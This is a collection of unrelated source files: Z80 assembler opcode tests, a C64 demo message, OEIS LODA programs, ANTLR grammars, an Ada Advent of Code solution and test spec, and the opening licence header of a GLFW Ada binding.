! set 6,(iy+1)
! set 7,b
! set 7,(hl)
! set 7,(ix+1)
; ––––––––––––––––––––––––––––––––––
! RL (hl)
! rl (ix+1)
! rl (iy+1)
! rl a
! rl b
! rl c
! rl d
! rl e
! rl h
! rl l
; ––––––––––––––––––––––––––––––––––
! RLC (hl)
! rlc (ix+1)
! rlc (iy+1)
! rlc a
! rlc b
! rlc c
! rlc d
! rlc e
! rlc h
! rlc l
; ––––––––––––––––––––––––––––––––––
! RR (hl)
! rr (ix+1)
! rr (iy+1)
! rr a
! rr b
! rr c
! rr d
! rr e
! rr h
! rr l
; ––––––––––––––––––––––––––––––––––
! RRC (hl)
! rrc (ix+1)
! rrc (iy+1)
! rrc a
! rrc b
! rrc c
! rrc d
! rrc e
! rrc h
! rrc l
; ––––––––––––––––––––––––––––––––––
! sla (hl)
! sla (ix+1)
! sla (iy+1)
! sla a
! sla b
! sla c
! sla d
! sla e
! sla h
! sla l
; ––––––––––––––––––––––––––––––––––
! sll (hl)
! sll (ix+1)
! sll (iy+1)
! sll a
! sll b
! sll c
! sll d
! sll e
! sll h
! sll l
; ––––––––––––––––––––––––––––––––––
! sra (hl)
! sra (ix+1)
! sra (iy+1)
! sra a
! sra b
! sra c
! sra d
! sra e
! sra h
! sra l
; ––––––––––––––––––––––––––––––––––
! srl (hl)
! srl (ix+1)
! srl (iy+1)
! srl a
! srl b
! srl c
! srl d
! srl e
! srl h
! srl l
; ––––––––––––––––––––––––––––––––––
! jp ix
! jp iy
! ld a,i
! ld a,r
! ld sp,ix
! ld sp,iy
! ld h,xh
! ld h,xl
! ld h,yh
! ld h,yl
! ld l,xh
! ld l,xl
! ld l,yh
! ld l,yl
! ld (hl),(ix+1)
! ld (hl),(iy+1)
! ld (hl),xh
! ld (hl),xl
! ld (hl),yh
! ld (hl),yl
! ld (ix+1),(hl)
! ld (ix+1),xh
! ld (ix+1),xl
! ld (ix+1),yh
! ld (ix+1),yl
! ld (iy+1),xh
! ld (iy+1),xl
! ld (iy+1),yh
! ld (iy+1),yl
! ld hl,ix
! ld hl,iy
! ld a,(ix+1)
! ld a,(iy+n1)
! ld a,xh ; illegal
! ld a,xl ; illegal
! ld a,yh ; illegal
! ld a,yl ; illegal
! ld b,(ix+n1)
! ld b,(iy+1)
! ld b,xh ; illegal
! ld b,xl ; illegal
! ld b,yh ; illegal
! ld b,yl ; illegal
! ld c,(ix+1)
! ld c,(iy+n1)
! ld c,xh ; illegal
! ld c,xl ; illegal
! ld c,yh ; illegal
! ld c,yl ; illegal
! ld d,(ix+1)
! ld d,(iy+n1)
! ld d,xh ; illegal
! ld d,xl ; illegal
! ld d,yh ; illegal
! ld d,yl ; illegal
! ld e,(ix+n1)
! ld e,(iy+1)
! ld e,xh ; illegal
! ld e,xl ; illegal
! ld e,yh ; illegal
! ld e,yl ; illegal
! ld h,(ix+1)
! ld h,(iy+n1)
! ld l,(ix+1)
! ld l,(iy+n1)
! add a,(ix+1)
! add a,(iy+n1)
! add a,xh ; illegal
! add a,xl ; illegal
! add a,yh ; illegal
! add a,yl ; illegal
! sub (ix+1)
! sub (iy+1)
! sub a,(ix+1)
! sub a,(iy+1)
! sub a,XH ; illegal
! sub a,XL ; illegal
! sub a,YH ; illegal
! sub a,YL ; illegal
! adc a,(ix+1)
! adc a,(iy+n1)
! adc a,xh ; illegal
! adc a,xl ; illegal
! adc a,yh ; illegal
! adc a,yl ; illegal
! sbc a,(ix+1)
! sbc a,(iy+1)
! sbc a,xh ; illegal
! sbc a,xl ; illegal
! sbc a,yh ; illegal
! sbc a,yl ; illegal
! AND (ix+1)
! AND (iy+1)
! and a,(ix+1)
! and a,(iy+n1)
! and a,XH ; illegal
! and a,XL ; illegal
! and a,YH ; illegal
! and a,YL ; illegal
! or (ix+1)
! or (iy+1)
! or a,(ix+1)
! or a,(iy+1)
! or a,XH ; illegal
! or a,XL ; illegal
! or a,YH ; illegal
! or a,YL ; illegal
! xor (ix+1)
! xor (iy+1)
! xor a,(ix+1)
! xor a,(iy+1)
! xor a,XH ; illegal
! xor a,XL ; illegal
! xor a,YH ; illegal
! xor a,YL ; illegal
! cp (ix+n1)
! cp (iy+1)
! cp a,(ix+1)
! cp a,(iy+1)
! cp a,XH ; illegal
! cp a,XL ; illegal
! cp a,YH ; illegal
! cp a,YL ; illegal
#endif ; defined(_8080_)
; –––––––––––––––––––––––––––––––––––––––––––––––––
; test_compound_opcodes:
; –––––––––––––––––––––––––––––––––––––––––––––––––
jr $ \ jr $
jp $ \ jp $-3
ld hl,$ \ ld hl,$-3
ld bc,de
ld b,d\ld c,e
ld bc,hl
ld b,h\ld c,l
ld de,bc
ld d,b\ld e,c
ld de,hl
ld d,h\ld e,l
ld hl,bc
ld h,b\ld l,c
ld hl,de
ld h,d\ld l,e
ld bc,(hl)
ld c,(hl++)\ld b,(hl)\dec hl
ld de,(hl)
ld e,(hl++)\ld d,(hl)\dec hl
ld bc,(hl++)
ld c,(hl++)\ld b,(hl++)
ld de,(hl++)
ld e,(hl++)\ld d,(hl++)
ld bc,(--hl)
ld b,(--hl)\ld c,(--hl)
ld de,(--hl)
ld d,(--hl)\ld e,(--hl)
ld (hl),bc
ld(hl++),c\ld(hl),b\dec hl
ld (hl),de
ld(hl++),e\ld(hl),d\dec hl
ld (--hl),bc
ld(--hl),b\ld(--hl),c
ld (--hl),de
ld(--hl),d\ld(--hl),e
ld (hl++),bc
ld(hl++),c\ld(hl++),b
ld (hl++),de
ld(hl++),e\ld(hl++),d
ld (--bc),a
dec bc\ld(bc),a
ld (--de),a
dec de\ld(de),a
ld (bc++),a
ld(bc),a\inc bc
ld (de++),a
ld(de),a\inc de
ld a,(--bc)
dec bc\ld a,(bc)
ld a,(--de)
dec de\ld a,(de)
ld a,(bc++)
ld a,(bc)\inc bc
ld a,(de++)
ld a,(de)\inc de
ld a,(hl++)
ld a,(hl)\inc hl
ld b,(--hl)
dec hl\ld b,(hl)
ld c,(hl++)
ld c,(hl)\inc hl
ld d,(--hl)
dec hl\ld d,(hl)
ld h,(hl++)
ld h,(hl)\inc hl ; potentially void
ld l,(--hl)
dec hl\ld l,(hl)
add (hl++)
add (hl)\inc hl
adc (hl++)
adc (hl)\inc hl
sub (hl++)
sub (hl)\inc hl
sbc (hl++)
sbc (hl)\inc hl
and (hl++)
and (hl)\inc hl
or (hl++)
or (hl)\inc hl
xor (hl++)
xor (hl)\inc hl
cp (hl++)
cp (hl)\inc hl
add (--hl)
dec hl\add(hl)
adc (--hl)
dec hl\adc(hl)
sub (--hl)
dec hl\sub(hl)
sbc (--hl)
dec hl\sbc(hl)
and (--hl)
dec hl\and(hl)
or (--hl)
dec hl\or(hl)
xor (--hl)
dec hl\xor(hl)
cp (--hl)
dec hl\cp(hl)
#if !defined(_8080_)
ld bc,ix ; illegal ...
ld b,xh\ld c,xl
ld bc,iy ; ...
ld b,yh\ld c,yl
ld de,ix ; ...
ld d,xh\ld e,xl
ld de,iy ; ...
ld d,yh\ld e,yl
ld ix,bc ; ...
ld xh,b\ld xl,c
ld ix,de ; ...
ld xh,d\ld xl,e
ld iy,bc ; ...
ld yh,b\ld yl,c
ld iy,de ; ...
ld yh,d\ld yl,e
ld bc,(ix+1)
ld c,(ix+1)\ld b,(ix+2)
ld de,(iy+4)
ld e,(iy+4)\ld d,(iy+5)
ld hl,(ix+5)
ld l,(ix+5)\ld h,(ix+6)
ld hl,(iy+6)
ld l,(iy+6)\ld h,(iy+7)
ld (ix+3),bc
ld(ix+3),c\ld(ix+4),b
ld (iy+6),de
ld(iy+6),e\ld(iy+7),d
ld (ix+7),hl
ld(ix+7),l\ld(ix+8),h
ld (iy+8),hl
ld(iy+8),l\ld(iy+9),h
rr (hl++) ; 0xCB group:
rr(hl)\inc hl
rrc (hl++)
rrc(hl)\inc hl
rl (hl++)
rl(hl)\inc hl
rlc (hl++)
rlc(hl)\inc hl
sla (hl++)
sla(hl)\inc hl
sra (hl++)
sra(hl)\inc hl
sll (hl++) ; illegal
sll(hl)\inc hl
srl (hl++)
srl(hl)\inc hl
bit 3,(hl++)
bit 3,(hl)\inc hl
set 4,(hl++)
set 4,(hl)\inc hl
res 5,(hl++)
res 5,(hl)\inc hl
rr (--hl) ; 0xCB group:
dec hl\rr(hl)
rrc (--hl)
dec hl\rrc(hl)
rl (--hl)
dec hl\rl(hl)
rlc (--hl)
dec hl\rlc(hl)
sla (--hl)
dec hl\sla(hl)
sra (--hl)
dec hl\sra(hl)
sll (--hl) ; illegal
dec hl\sll(hl)
srl (--hl)
dec hl\srl(hl)
bit 0,(--hl)
dec hl\bit 0,(hl)
set 1,(--hl)
dec hl\set 1,(hl)
res 2,(--hl)
dec hl\res 2,(hl)
#endif
|
message.asm | brpx/c64 | 47 | 91897 | <filename>message.asm
.const msg = "this c64 demo uses vic-ii graphics, sprites, raster interrupts, a random generator and sid music - more at https://github.com/brpx/c64 "
msg_text:.text msg
msg_length: .byte msg.size()
raster_h_offset: .byte 7
msg_offset: .byte 0
|
libsrc/_DEVELOPMENT/alloc/obstack/c/sdcc_iy/obstack_init.asm | meesokim/z88dk | 0 | 100786 |
; void *obstack_init(struct obstack *ob, size_t size)
SECTION code_alloc_obstack
PUBLIC _obstack_init
EXTERN asm_obstack_init
_obstack_init:
pop af
pop de
pop bc
push bc
push de
push af
jp asm_obstack_init
|
oeis/248/A248045.asm | neoneye/loda-programs | 11 | 169039 | <filename>oeis/248/A248045.asm
; A248045: (2*(n-1))! * (2*n-1)! / (n * (n-1)!^3).
; Submitted by <NAME>
; 1,6,120,4200,211680,13970880,1141620480,111307996800,12614906304000,1629845894476800,236475822507724800,38072607423743692800,6735922851893114880000,1299070835722243584000000,271245990498804460339200000,60962536364606302461235200000,14674041106115822921845555200000,3766337217236394549940359168000000,1026822462383395987825845288960000000,296340962643848082086538950393856000000,90256990336669158715500148891385856000000,28931467993372313966441229544638775296000000
mov $2,$0
seq $0,894 ; a(n) = (2*n)!*(2*n+1)! /((n+1)! *n!^3).
lpb $2
mul $0,$2
sub $2,1
lpe
|
src/main/antlr4/edu/byu/cs/vv/Parser/CTPParser.g4 | byu-vv-lab/mercury | 0 | 6662 | parser grammar CTPParser;
options {
tokenVocab=CTPLexer;
}
program : thread+ EOF;
thread : threadHeader
(operation)*;
branch : IF OpenBlock Identifier Comparator Number CloseBlock
OpenBlock (operation)* CloseBlock
OpenBlock (operation)* CloseBlock;
threadHeader : Thread Identifier;
operation : (mutate | read | receive | send | block);
mutate : Mutate Identifier;
read : Read Identifier;
receive : Recv Identifier Identifier;
send : Send Identifier Identifier;
block : Wait Identifier;
|
24-ada/day24.adb | Fabien-Chouteau/aoc-2020 | 107 | 16923 | with Ada.Text_IO; use Ada.Text_IO;
with Ada.Command_Line; use Ada.Command_Line;
with Ada.Strings.Unbounded; use Ada.Strings.Unbounded;
with System.Assertions; use System.Assertions;
with Ada.Containers.Hashed_Maps; use Ada.Containers;
with Ada.Characters.Handling; use Ada.Characters.Handling;
procedure Day24 is
type Tile is record
X : Integer;
Y : Integer;
Z : Integer;
end record;
function "+"(T1: Tile; T2: Tile) return Tile is
begin
return (T1.X + T2.X, T1.Y + T2.Y, T1.Z + T2.Z);
end;
type Dir_Kind is (E, SE, SW, W, NW, NE);
Dir_To_Delta : constant array (Dir_Kind) of Tile := (
E => (X => 1, Y => -1, Z => 0),
SE => (X => 0, Y => -1, Z => 1),
SW => (X => -1, Y => 0, Z => 1),
W => (X => -1, Y => 1, Z => 0),
NW => (X => 0, Y => 1, Z => -1),
NE => (X => 1, Y => 0, Z => -1)
);
function Tile_Hash(T: Tile) return Hash_Type is
Result : Long_Integer := Long_Integer(T.X);
begin
Result := Result * 31 + Long_Integer(T.Y);
Result := Result * 97 + Long_Integer(T.Z);
return Hash_Type(Result mod 1_000_000_000);
end;
package Floor is new Ada.Containers.Hashed_Maps
(Key_Type => Tile,
Element_Type => Boolean,
Hash => Tile_Hash,
Equivalent_Keys => "=");
procedure Flip_Tile(F: in out Floor.Map; T: Tile) is
D: Floor.Cursor := Floor.Find(F, T);
begin
if not Floor.Has_Element(D) then
Floor.Insert(F, T, True);
else
Floor.Replace_Element(F, D, not Floor.Element(D));
end if;
end;
function Is_Black(F: in Floor.Map; T: Tile) return Boolean is
C: Floor.Cursor := Floor.Find(F, T);
begin
return Floor.Has_Element(C) and then Floor.Element(C);
end;
function Count_Neighbours(F: in Floor.Map; T: Tile) return Integer is
Result: Integer := 0;
begin
for Dir of Dir_To_Delta loop
if Is_Black(F, T + Dir) then
Result := Result + 1;
end if;
end loop;
return Result;
end;
procedure Set_Tile(F: in out Floor.Map; T: Tile; Value: Boolean) is
C: Floor.Cursor := Floor.Find(F, T);
begin
if Floor.Has_Element(C) then
Floor.Replace_Element(F, C, Value);
else
Floor.Insert(F, T, Value);
end if;
end;
procedure Next_Floor(F1: in Floor.Map; F2: out Floor.Map) is
T : Tile;
Neighbours : Integer;
begin
Floor.Clear(F2);
for C in Floor.Iterate(F1) loop
for Dir of Dir_To_Delta loop
T := Floor.Key(C) + Dir;
Neighbours := Count_Neighbours(F1, T);
if Is_Black(F1, T) then
Set_Tile(F2, T, not (Neighbours = 0 or Neighbours > 2));
else
Set_Tile(F2, T, Neighbours = 2);
end if;
end loop;
end loop;
end;
function Count_Black(F: in Floor.Map) return Integer is
C: Floor.Cursor := Floor.First(F);
Result: Integer := 0;
begin
while Floor.Has_Element(C) loop
if Floor.Element(C) then
Result := Result + 1;
end if;
C := Floor.Next(C);
end loop;
return Result;
end;
function Tile_Image(T: Tile) return String is
begin
return "(" & Integer'Image(T.X) & ", " & Integer'Image(T.Y) & ", " & Integer'Image(T.Z) & ")";
end;
function Next_Dir(Desc: String) return Dir_Kind is
begin
for Dir in Dir_Kind loop
declare
Dir_Str : constant String := To_Lower (Dir'Img);
begin
if Dir_Str'Length <= Desc'Length then
if Desc (Desc'First .. Desc'First + Dir_Str'Length - 1) = Dir_Str then
return Dir;
end if;
end if;
end;
end loop;
Raise_Assert_Failure("Unreachable. Could not get the next direction");
end Next_Dir;
function Parse_Tile(Desc: Unbounded_String) return Tile is
Result : Tile := (X => 0, Y => 0, Z => 0);
Dir: Dir_Kind;
Input: Unbounded_String := Desc;
begin
while Length(Input) > 0 loop
Dir := Next_Dir(To_String (Input));
Input := Unbounded_Slice(Input, Dir'Img'Length + 1, Length(Input));
Result := Result + Dir_To_Delta (Dir);
end loop;
return Result;
end Parse_Tile;
procedure Floor_From_File(File_Path: String; F: out Floor.Map) is
File : File_Type;
T : Tile;
begin
Open(File => File,
Mode => In_File,
Name => File_Path);
while not End_Of_File(File) loop
T := Parse_Tile(To_Unbounded_String(Get_Line(File)));
Flip_Tile(F, T);
end loop;
Close(File);
end;
function Part1(File_Path: String) return Integer is
F : Floor.Map;
begin
Floor_From_File(File_Path, F);
return Count_Black(F);
end;
function Part2(File_Path: String) return Integer is
F : array (0..1) of Floor.Map;
Current : Integer := 0;
begin
Floor_From_File(File_Path, F(Current));
for i in 1..100 loop
Next_Floor(F(Current), F(1 - Current));
Current := 1 - Current;
end loop;
return Count_Black(F(Current));
end;
procedure Solve_File(File_Path: String) is
begin
Put_Line("Input file: " & File_Path);
Put_Line(" Part 1:" & Integer'Image(Part1(File_Path)));
Put_Line(" Part 2:" & Integer'Image(Part2(File_Path)));
end Solve_File;
begin
Put_Line("Amount of args: " & Integer'Image(Argument_Count));
for Arg in 1..Argument_Count loop
Solve_File(Argument(Arg));
end loop;
end Day24;
|
testcases/TwoOperand.asm | ahmedHusseinF/mips-vhdl | 0 | 94203 | # all numbers in hex format
# we always start by reset signal
# this is a commented line
.ORG 0 # this means the the following line would be at address 0 , and this is the reset address
10
# you should ignore empty lines
.ORG 2 # this is the interrupt address
100
.ORG 10
in R1 # add 5 in R1
in R2 # add 19 in R2
in R3 # FFFF
in R4 # F320
MoV R3, R5 # R5 = FFFF , flags no change
ADD R1, R4 # R4= F325 , C-->0, N-->1, Z-->0
SUB R5, R4 # R4= 0CDA , C-->1, N-->0,Z-->0
AND R6, R4 # R4= 0000 , C-->no change, N-->0, Z-->1
OR R2, R1 # R1=1D , C--> no change, N-->0, Z--> 0
SHL R2, 2 # R2=64 , C--> 0, N -->0 , Z -->0
SHR R2, 3 # R2=0C , C -->1, N-->0 , Z-->0
MUL R2, R5 # R5= fff4 ,R2=0B (ffff*0c = Bfff4),N=0,Z=0, no change for carry
ADD R5, R2 # R2= FFFF (C,N,Z= 0)
|
src/main/antlr/io/georocket/index/Tags.g4 | georocket/georocket | 65 | 7075 | grammar Tags;
@header {
package io.georocket.index;
import org.apache.commons.text.StringEscapeUtils;
}
@members {
private static class ThrowingErrorListener extends BaseErrorListener {
@Override
public void syntaxError(Recognizer<?, ?> recognizer, Object offendingSymbol,
int line, int charPositionInLine, String msg, RecognitionException e)
throws ParseCancellationException {
throw new ParseCancellationException("line " + line + ":" + charPositionInLine + " " + msg);
}
}
public static java.util.List<String> parse(String tags) {
TagsLexer lexer = new TagsLexer(new ANTLRInputStream(tags.trim()));
lexer.removeErrorListeners();
lexer.addErrorListener(new ThrowingErrorListener());
CommonTokenStream tokens = new CommonTokenStream(lexer);
TagsParser parser = new TagsParser(tokens);
parser.removeErrorListeners();
parser.addErrorListener(new ThrowingErrorListener());
return parser.tags().result;
}
}
tags returns [java.util.List<String> result]
@init {
$result = new java.util.ArrayList<String>();
}
: a=string { $result.add($a.result); }
( ',' b=string { $result.add($b.result); } )*
EOF
;
string returns [String result]
: QUOTED_STRING { $result = $QUOTED_STRING.text; }
| STRING { $result = $STRING.text; }
;
QUOTED_STRING
: (
'"' ( '\\"' | ~('\n'|'\r') )*? '"'
| '\'' ( '\\\'' | ~('\n'|'\r') )*? '\''
) {
String s = getText();
s = s.substring(1, s.length() - 1);
s = StringEscapeUtils.unescapeJava(s);
setText(s);
}
;
STRING : ~[ ,:\n\r\"\']+ ;
|
oeis/063/A063215.asm | neoneye/loda-programs | 11 | 242482 | <reponame>neoneye/loda-programs
; A063215: Dimension of the space of weight 2n cuspidal newforms for Gamma_0( 47 ).
; Submitted by <NAME>(s2)
; 4,11,19,27,35,41,51,57,65,73,81,87,97,103,111,119,127,133,143,149,157,165,173,179,189,195,203,211,219,225,235,241,249,257,265,271,281,287,295,303,311,317,327,333,341,349,357,363,373,379
mov $1,$0
mul $0,7
div $1,3
mul $1,2
mov $2,$0
trn $0,3
mod $0,2
add $0,$1
add $0,$2
add $0,4
|
programs/oeis/014/A014483.asm | karttu/loda | 1 | 92865 | <filename>programs/oeis/014/A014483.asm<gh_stars>1-10
; A014483: Expansion of (1+2*x) / (1-2*x)^4.
; 1,10,56,240,880,2912,8960,26112,72960,197120,518144,1331200,3354624,8314880,20316160,49020928,116981760,276430848,647495680,1504706560,3471835136,7958691840,18136170496,41104179200,92694118400,208071032832,465064427520,1035355553792,2296465326080,5076114472960,11184094838784,24567212933120,53811645251584,117553254891520,256151849533440,556833919991808,1207744803635200,2613951456083968,5645992208629760
add $0,1
cal $0,87076 ; Sums of the squares of the elements in the subsets of the integers 1 to n.
mov $1,$0
|
alloy4fun_models/trashltl/models/5/se8FtoMA6YA45RvS3.als | Kaixi26/org.alloytools.alloy | 0 | 1108 | <gh_stars>0
open main
pred idse8FtoMA6YA45RvS3_prop6 {
eventually all t:Trash | always ( t in Trash)
}
pred __repair { idse8FtoMA6YA45RvS3_prop6 }
check __repair { idse8FtoMA6YA45RvS3_prop6 <=> prop6o } |
oeis/273/A273832.asm | neoneye/loda-programs | 11 | 88357 | ; A273832: Number of active (ON,black) cells at stage 2^n-1 of the two-dimensional cellular automaton defined by "Rule 961", based on the 5-celled von Neumann neighborhood.
; Submitted by <NAME>
; 1,4,45,221,957,3965,16125,65021,261117,1046525,4190205,16769021,67092477,268402685,1073676285,4294836221
seq $0,270007 ; Number of active (ON,black) cells at stage 2^n-1 of the two-dimensional cellular automaton defined by "Rule 5", based on the 5-celled von Neumann neighborhood.
add $2,$0
sub $2,1
trn $2,4
mov $0,$2
add $0,1
|
test/unit/src/test_parsers.ads | Statkus/json-ada | 0 | 13403 | <filename>test/unit/src/test_parsers.ads
-- Copyright (c) 2016 onox <<EMAIL>>
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
with Ahven.Framework;
package Test_Parsers is
type Test is new Ahven.Framework.Test_Case with null record;
overriding
procedure Initialize (T : in out Test);
private
-- Keyword
procedure Test_True_Text;
procedure Test_False_Text;
procedure Test_Null_Text;
-- String
procedure Test_Empty_String_Text;
procedure Test_Non_Empty_String_Text;
procedure Test_Number_String_Text;
-- Integer/float number
procedure Test_Integer_Number_Text;
procedure Test_Float_Number_Text;
-- Array
procedure Test_Empty_Array_Text;
procedure Test_One_Element_Array_Text;
procedure Test_Multiple_Elements_Array_Text;
procedure Test_Array_Iterable;
procedure Test_Multiple_Array_Iterable;
-- Object
procedure Test_Empty_Object_Text;
procedure Test_One_Member_Object_Text;
procedure Test_Multiple_Members_Object_Text;
procedure Test_Object_Iterable;
procedure Test_Array_Object_Array;
procedure Test_Object_Array_Object;
procedure Test_Object_No_Array;
procedure Test_Object_No_Object;
-- Exceptions
procedure Test_Empty_Text_Exception;
procedure Test_Array_No_Value_Separator_Exception;
procedure Test_Array_No_End_Array_Exception;
procedure Test_No_EOF_After_Array_Exception;
procedure Test_Object_No_Value_Separator_Exception;
procedure Test_Object_No_Name_Separator_Exception;
procedure Test_Object_Key_No_String_Exception;
procedure Test_Object_No_Second_Member_Exception;
procedure Test_Object_Duplicate_Keys_Exception;
procedure Test_Object_No_Value_Exception;
procedure Test_Object_No_End_Object_Exception;
procedure Test_No_EOF_After_Object_Exception;
end Test_Parsers;
|
src/PJ/flic386p/libsrc/util/dossvmod.asm | AnimatorPro/Animator-Pro | 119 | 81488 | CGROUP group code
code segment dword 'CODE'
assume cs:CGROUP,ds:CGROUP
;Set BIOS video mode
;pj_set_vmode(mode)
public pj_set_vmode
pj_set_vmode proc near
mov eax,4[esp]
int 10H
ret
pj_set_vmode endp
code ends
end
|
src/Dodo/Unary/Union.agda | sourcedennis/agda-dodo | 0 | 11395 | {-# OPTIONS --without-K --safe #-}
module Dodo.Unary.Union where
-- Stdlib imports
import Relation.Binary.PropositionalEquality as Eq
open Eq using (_≡_; cong)
open import Level using (Level; _⊔_)
open import Function using (_∘_; _∘₂_)
open import Data.Sum using (_⊎_; inj₁; inj₂; swap)
open import Data.Product using (_,_)
open import Data.Empty using (⊥-elim)
open import Relation.Unary using (Pred)
-- Local imports
open import Dodo.Unary.Equality
open import Dodo.Unary.Unique
open import Dodo.Unary.Disjoint
-- # Definitions
infixl 30 _∪₁_
_∪₁_ : {a ℓ₁ ℓ₂ : Level} {A : Set a}
→ Pred A ℓ₁
→ Pred A ℓ₂
→ Pred A (ℓ₁ ⊔ ℓ₂)
_∪₁_ p q x = p x ⊎ q x
-- # Properties
module _ {a ℓ : Level} {A : Set a} {R : Pred A ℓ} where
∪₁-idem : (R ∪₁ R) ⇔₁ R
∪₁-idem = ⇔: ⊆-proof (λ _ → inj₁)
where
⊆-proof : (R ∪₁ R) ⊆₁' R
⊆-proof _ (inj₁ Rx) = Rx
⊆-proof _ (inj₂ Rx) = Rx
module _ {a ℓ₁ ℓ₂ : Level} {A : Set a} {P : Pred A ℓ₁} {Q : Pred A ℓ₂} where
∪₁-comm : (P ∪₁ Q) ⇔₁ (Q ∪₁ P)
∪₁-comm = ⇔: (λ _ → swap) (λ _ → swap)
module _ {a ℓ₁ ℓ₂ ℓ₃ : Level} {A : Set a}
{P : Pred A ℓ₁} {Q : Pred A ℓ₂} {R : Pred A ℓ₃} where
∪₁-assoc : (P ∪₁ Q) ∪₁ R ⇔₁ P ∪₁ (Q ∪₁ R)
∪₁-assoc = ⇔: ⊆-proof ⊇-proof
where
⊆-proof : ((P ∪₁ Q) ∪₁ R) ⊆₁' (P ∪₁ (Q ∪₁ R))
⊆-proof _ (inj₁ (inj₁ Px)) = inj₁ Px
⊆-proof _ (inj₁ (inj₂ Qx)) = inj₂ (inj₁ Qx)
⊆-proof _ (inj₂ Rx) = inj₂ (inj₂ Rx)
⊇-proof : (P ∪₁ (Q ∪₁ R)) ⊆₁' ((P ∪₁ Q) ∪₁ R)
⊇-proof _ (inj₁ Px) = inj₁ (inj₁ Px)
⊇-proof _ (inj₂ (inj₁ Qx)) = inj₁ (inj₂ Qx)
⊇-proof _ (inj₂ (inj₂ Rx)) = inj₂ Rx
-- # Operations
-- ## Operations: General
module _ {a ℓ₁ ℓ₂ : Level} {A : Set a} {P : Pred A ℓ₁} {Q : Pred A ℓ₂} where
∪₁-unique-pred :
Disjoint₁ P Q
→ UniquePred P
→ UniquePred Q
→ UniquePred (P ∪₁ Q)
∪₁-unique-pred _ uniqueP _ x (inj₁ Px₁) (inj₁ Px₂) = cong inj₁ (uniqueP x Px₁ Px₂)
∪₁-unique-pred disPQ _ _ x (inj₁ Px) (inj₂ Qx) = ⊥-elim (disPQ x (Px , Qx))
∪₁-unique-pred disPQ _ _ x (inj₂ Qx) (inj₁ Px) = ⊥-elim (disPQ x (Px , Qx))
∪₁-unique-pred _ _ uniqueQ x (inj₂ Qx₁) (inj₂ Qx₂) = cong inj₂ (uniqueQ x Qx₁ Qx₂)
-- ## Operations: ⊆₁
module _ {a ℓ₁ ℓ₂ ℓ₃ : Level} {A : Set a}
{P : Pred A ℓ₁} {Q : Pred A ℓ₂} {R : Pred A ℓ₃} where
∪₁-combine-⊆₁ : P ⊆₁ Q → R ⊆₁ Q → (P ∪₁ R) ⊆₁ Q
∪₁-combine-⊆₁ (⊆: P⊆Q) (⊆: R⊆Q) = ⊆: lemma
where
lemma : (P ∪₁ R) ⊆₁' Q
lemma x (inj₁ Px) = P⊆Q x Px
lemma x (inj₂ Rx) = R⊆Q x Rx
module _ {a ℓ₁ ℓ₂ : Level} {A : Set a} {P : Pred A ℓ₁} {Q : Pred A ℓ₂} where
∪₁-introˡ : P ⊆₁ (Q ∪₁ P)
∪₁-introˡ = ⊆: λ{_ → inj₂}
∪₁-introʳ : P ⊆₁ (P ∪₁ Q)
∪₁-introʳ = ⊆: λ{_ → inj₁}
module _ {a ℓ₁ ℓ₂ ℓ₃ : Level} {A : Set a}
{P : Pred A ℓ₁} {Q : Pred A ℓ₂} {R : Pred A ℓ₃} where
∪₁-introˡ-⊆₁ : P ⊆₁ R → P ⊆₁ (Q ∪₁ R)
∪₁-introˡ-⊆₁ (⊆: P⊆R) = ⊆: (inj₂ ∘₂ P⊆R)
∪₁-introʳ-⊆₁ : P ⊆₁ Q → P ⊆₁ (Q ∪₁ R)
∪₁-introʳ-⊆₁ (⊆: P⊆Q) = ⊆: (inj₁ ∘₂ P⊆Q)
∪₁-elimˡ-⊆₁ : (P ∪₁ Q) ⊆₁ R → Q ⊆₁ R
∪₁-elimˡ-⊆₁ (⊆: [P∪Q]⊆R) = ⊆: (λ x → [P∪Q]⊆R x ∘ inj₂)
∪₁-elimʳ-⊆₁ : (P ∪₁ Q) ⊆₁ R → P ⊆₁ R
∪₁-elimʳ-⊆₁ (⊆: [P∪Q]⊆R) = ⊆: (λ x → [P∪Q]⊆R x ∘ inj₁)
module _ {a ℓ₁ ℓ₂ ℓ₃ : Level} {A : Set a}
{P : Pred A ℓ₁} {Q : Pred A ℓ₂} {R : Pred A ℓ₃} where
∪₁-substˡ-⊆₁ : P ⊆₁ Q → (P ∪₁ R) ⊆₁ (Q ∪₁ R)
∪₁-substˡ-⊆₁ (⊆: P⊆Q) = ⊆: lemma
where
lemma : (P ∪₁ R) ⊆₁' (Q ∪₁ R)
lemma x (inj₁ Px) = inj₁ (P⊆Q x Px)
lemma x (inj₂ Rx) = inj₂ Rx
∪₁-substʳ-⊆₁ : P ⊆₁ Q → (R ∪₁ P) ⊆₁ (R ∪₁ Q)
∪₁-substʳ-⊆₁ (⊆: P⊆Q) = ⊆: lemma
where
lemma : (R ∪₁ P) ⊆₁' (R ∪₁ Q)
lemma x (inj₁ Rx) = inj₁ Rx
lemma x (inj₂ Px) = inj₂ (P⊆Q x Px)
-- ## Operations: ⇔₂
module _ {a ℓ₁ ℓ₂ ℓ₃ : Level} {A : Set a}
{P : Pred A ℓ₁} {Q : Pred A ℓ₂} {R : Pred A ℓ₃} where
∪₁-substˡ : P ⇔₁ Q → (P ∪₁ R) ⇔₁ (Q ∪₁ R)
∪₁-substˡ = ⇔₁-compose ∪₁-substˡ-⊆₁ ∪₁-substˡ-⊆₁
∪₁-substʳ : P ⇔₁ Q → (R ∪₁ P) ⇔₁ (R ∪₁ Q)
∪₁-substʳ = ⇔₁-compose ∪₁-substʳ-⊆₁ ∪₁-substʳ-⊆₁
|
src/glfw.ads | zrmyers/GLFWAda | 0 | 23779 | <filename>src/glfw.ads
--------------------------------------------------------------------------------
-- MIT License
--
-- Copyright (c) 2020 <NAME>
--
-- Permission is hereby granted, free of charge, to any person obtaining a copy
-- of this software and associated documentation files (the "Software"), to deal
-- in the Software without restriction, including without limitation the rights
-- to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-- copies of the Software, and to permit persons to whom the Software is
-- furnished to do so, subject to the following conditions:
--
-- The above copyright notice and this permission notice shall be included in all
-- copies or substantial portions of the Software.
--
-- THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
